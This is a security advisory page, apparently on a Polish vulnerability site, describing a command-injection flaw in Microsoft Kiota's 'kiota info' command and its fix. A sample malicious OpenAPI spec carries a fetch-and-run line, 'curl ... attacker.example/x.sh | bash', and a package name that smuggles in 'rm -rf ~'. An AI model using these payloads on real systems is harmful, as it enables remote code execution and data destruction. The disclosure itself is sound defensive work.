Krytyczna

Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

  • Ujawniono: 24.07.2026
  • Aktualizacja: 11.10.2026 11:23

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

bash
$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
.NET (NuGet) Microsoft.OpenApi.Kiota >= 1.30.0, < 1.32.5, < 1.29.1 1.32.5, 1.29.1
.NET (NuGet) Microsoft.OpenApi.Kiota.Builder >= 1.30.0, < 1.32.5, < 1.29.1 1.32.5, 1.29.1

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-829, CWE-94
Platforma
.NET (NuGet)
Paczka
Microsoft.OpenApi.Kiota, Microsoft.OpenApi.Kiota.Builder
Ujawniono
24.07.2026
Aktualizacja
11.10.2026 11:23

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-hq9q-27g5-qwpj - CC BY 4.0

Historia podatności: Microsoft.OpenApi.Kiota.Builder

Wszystkie opisane podatności tej paczki (.NET (NuGet)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (12) w archiwum
Wszystkich wpisów
12
Pierwsza → ostatnia
04.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 9
  • Niska 1

Ujawnienia w latach

  1. 2026: 12
Istotność:
  1. Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info` ten wpis
    Krytyczna CVE-2026-59865 >= 1.30.0, < 1.32.5, < 1.29.1 1.32.5, 1.29.1
  2. Wysoka CVE-2026-59863 >= 1.30.0, < 1.32.5, < 1.29.1 1.32.5, 1.29.1
  3. Wysoka · 7.1 CVE-2026-59867 >= 1.30.0, < 1.32.5, < 1.29.1 1.32.5, 1.29.1
  4. Krytyczna CVE-2026-59864 >= 1.30.0, < 1.32.5, < 1.29.1 1.32.5, 1.29.1
  5. Wysoka CVE-2026-59859 >= 1.30.0, < 1.32.4, < 1.29.1 1.32.4, 1.29.1
  6. Wysoka · 7.5 CVE-2026-59862 >= 1.30.0, < 1.32.0, < 1.29.1 1.32.0, 1.29.1
  7. Wysoka · 7.5 CVE-2026-59861 >= 1.30.0, < 1.32.0, < 1.29.1 1.32.0, 1.29.1
  8. Wysoka CVE-2026-59860 >= 1.30.0, < 1.32.3, < 1.29.1 1.32.3, 1.29.1
  9. Wysoka · 0.0 CVE-2026-41134 >= 1.30.0, < 1.31.1, < 1.29.1 1.31.1, 1.29.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.